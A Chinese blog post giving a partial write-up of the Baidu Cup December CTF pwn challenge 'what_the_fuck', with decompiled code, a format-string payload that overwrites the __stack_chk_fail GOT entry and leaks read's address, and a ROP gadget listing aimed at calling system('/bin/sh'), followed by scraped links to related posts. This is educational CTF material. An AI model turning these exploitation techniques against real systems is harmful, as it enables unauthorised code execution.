对于这道题,我还真的想说 what_the_fuck !!

这道题拿到就只发觉一个格式化字符串漏洞,其他的就找不到了 。

 unsigned __int64 sub_4008C5()
{
char s; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u);
printf("leave a msg: ");
memset(&s, , 0x10uLL);
read(, &s, 0x20uLL);
if ( strstr(&s, "%p") || strstr(&s, "$p") )
{
puts("do you want to leak info?");
exit();
}
printf(&s, "$p"); //漏洞所在
return __readfsqword(0x28u) ^ v2;
}

还是找了网上的wp 一边学,一边复现,这里总接下所学的。

看到这些这有一个格式化字符串漏洞,又开启了canary,可以先考虑覆盖__stack_chk_fail指向main,这样就可以利用溢出,无限往栈里写东西。

首先,在ida或者gdb调试中,把name和msg在栈中是第几个参数找出来,在64位的程序中,在64位的文件中,printf传参:现一般规则为, 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。

 payload=l64(0x601020)                 
fd.recvuntil('input your name: ')
fd.send(payload)
fd.recvuntil('leave a msg: ')
payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'
payload+='\x00'*(0x18-len(payload))
payload+=l64(0x601040)

用%.sum$n 往栈里的指针参数写东西时,sum代表的是sum+1个参数。

.got.plt: off_601020 dq offset __stack_chk_fail

got.plt: off_601040 dq offset read ; DATA XREF: _read↑r

%9$s%10$ld  这里输出了第一次main函数的ebp,还有read函数的地址

然后可以构建一个leak函数,利用pwn的DynELF()找出system函数。这些题目给有给出libc的时候可以考虑下。

这样就知道system和read的地址了,接下来就是构建栈的结构,执行read(0,addr,size)  写入/bin/sh +'\x00'+system, 然后system(/bin/sh)开启shell,关于read的参数 可以利用init里面的

 text:0000000000400A60 loc_400A60:                             ; CODE XREF: init+↓j
.text:0000000000400A60 mov rdx, r13
.text:0000000000400A63 mov rsi, r14
.text:0000000000400A66 mov edi, r15d
.text:0000000000400A69 call qword ptr [r12+rbx*]
.text:0000000000400A6D add rbx,
.text:0000000000400A71 cmp rbx, rbp
.text:0000000000400A74 jnz short loc_400A60
.text:0000000000400A76
.text:0000000000400A76 loc_400A76: ; CODE XREF: init+↑j
.text:0000000000400A76 add rsp,
.text:0000000000400A7A pop rbx
.text:0000000000400A7B pop rbp
.text:0000000000400A7C pop r12
.text:0000000000400A7E pop r13
.text:0000000000400A80 pop r14
.text:0000000000400A82 pop r15
.text:0000000000400A84 retn
.text:0000000000400A84 ; } // starts at 400A20

接下来就是构建栈,

首先在第二次就开始布局,这里就不多说了 https://www.cnblogs.com/shangye/p/6209008.html   这个大佬里面很详细。

下面我只讲一些 在理解的时候出现的问题,就是在执行call的时候会把rip push 进栈中。就是忘了 这个,,搞了大半天。一个个参数调试,烦死了

百度杯 十二月 what_the_fuck的更多相关文章

  1. ctf百度杯十二月场what_the_fuck(一口盐汽水提供的答案)

    目录 漏洞利用原理 具体利用步骤 漏洞利用原理 read(, &s, 0x20uLL); if ( strstr(&s, "%p") || strstr(& ...

  2. “百度杯”CTF比赛 十二月场_blog(kindeditor编辑器遍历,insert注入,文件包含)

    题目在i春秋的ctf训练营中能找到 首先先是一个用户登录与注册界面,一般有注册界面的都是要先让你注册一波,然后找惊喜的 那我就顺着他的意思去注册一个号 注册了一个123用户登录进来看到有个文本编辑器, ...

  3. 2017 百度杯丶二月场第一周WP

    1.祸起北荒 题目: 亿万年前 天子之子华夜,被父神之神末渊上神告知六荒十海之北荒西二旗即将发生一场"百度杯"的诸神之战 他作为天族的太子必须参与到此次诸神之战定六荒十海 华夜临危 ...

  4. “百度杯”CTF比赛 2017 二月场(Misc Web)

    爆破-1: 打开链接,是502 我直接在后面加个变量传参数:?a=1 出了一段代码 var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS 给hello参数传个GLOBALS 得到f ...

  5. 十一月百度杯pwnme 详细wp

    目录 程序基本信息 程序溢出点 整体思路 exp脚本 成功获得flag 参考 程序基本信息 可以看到开启了栈不可执行和got表不可写保护. 程序溢出点 在函数sub_400AF7中,v8可以读入0x1 ...

  6. [i春秋]“百度杯”CTF比赛 十月场-Hash

    前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...

  7. "百度杯"CTF比赛 十月场——EXEC

    "百度杯"CTF比赛 十月场--EXEC 进入网站页面 查看源码 发现了vim,可能是vim泄露,于是在url地址输入了http://21b854b211034489a4ee1cb ...

  8. “百度杯”CTF比赛 九月场_YeserCMS

    题目在i春秋ctf大本营 题目的提示并没有什么卵用,打开链接发现其实是easycms,百度可以查到许多通用漏洞 这里我利用的是无限报错注入 访问url/celive/live/header.php,直 ...

  9. “百度杯”CTF比赛 2017 二月场_onthink

    题目在i春秋ctf训练营中能找到,这题直接拿大佬的wp来充数 百度找到onethinnk的一个漏洞. 参考:http://www.hackdig.com/06/hack-36510.htm 就是注册个 ...

随机推荐

  1. SVN命令行笔记

    SVN命令行笔记 近期玩了一下命令行,记录如下. svn info <path> #查看文件,路径信息 svn log <path> #查看文件,路径历史记录 svn st(s ...

  2. MarkDown时序图

    时序图 语法 ```sequence ``` 标题 title: 我是标题 对象 participant A participant B as b-alias 交互 sequence A->B: ...

  3. 论RSA算法的重要性 -RSA 简介

    地球上最重要的算法 (这个说法似乎有点夸张了,但是当你了解了RSA算法后,就觉得不夸张了.) 如果没有 RSA 算法,现在的网络世界毫无安全可言,也不可能有现在的网上交易.上一篇文章 ssh 协议为什 ...

  4. 是true还是false呢?

    古来圣贤皆寂寞 惟有[努]者留其名 ---[努]原文:饮 先总结一个小知识点:0.null.NaN.undefined."" 转成布尔值为false 其他则一律返回true 1.首 ...

  5. 以Mnist为例从头开始自己建立数据集,搭建resnet34,识别Mnist

    写在前面: 本人小白研一,刚开始学习深度学习,将自己的第一个实验过程总结下来,看了很多的大牛的博客,在下面的程序中也参考了很多大牛的博客.在刚开始入门的学习的时候,直接编写程序下载数据集,但是后来觉得 ...

  6. CentOS 8 发布了

    CentOS 8 的发现注记是: https://wiki.centos.org/Manuals/ReleaseNotes/CentOS8.1905 CentOS 在 2019 年 9 月 25 日 ...

  7. [Spark]Spark-streaming通过Receiver方式实时消费Kafka流程(Yarn-cluster)

    1.启动zookeeper 2.启动kafka服务(broker) [root@master kafka_2.11-0.10.2.1]# ./bin/kafka-server-start.sh con ...

  8. [考试反思]1101csp-s模拟测试97:人品

    上来粘6个图皮一下.(以后粘排行榜是不是都应该粘两份啊...文件出入的确挺难受的) 话说最近RP为什么会这么高啊???我干什么好事了???不知道. 这次考试的题挺有水准的,但是我的分数挺没水准的. T ...

  9. python 爬取猫眼电影top100数据

    最近有爬虫相关的需求,所以上B站找了个视频(链接在文末)看了一下,做了一个小程序出来,大体上没有修改,只是在最后的存储上,由txt换成了excel. 简要需求:爬虫爬取 猫眼电影TOP100榜单 数据 ...

  10. 基于代码生成器的快速开发平台 JEECG

    JEECG是一款基于代码生成器的J2EE快速开发平台,开源界“小普元”超越传统商业企业级开发平台.引领新的开发模式(Online Coding模式(在线开发)->代码生成器模式->手工ME ...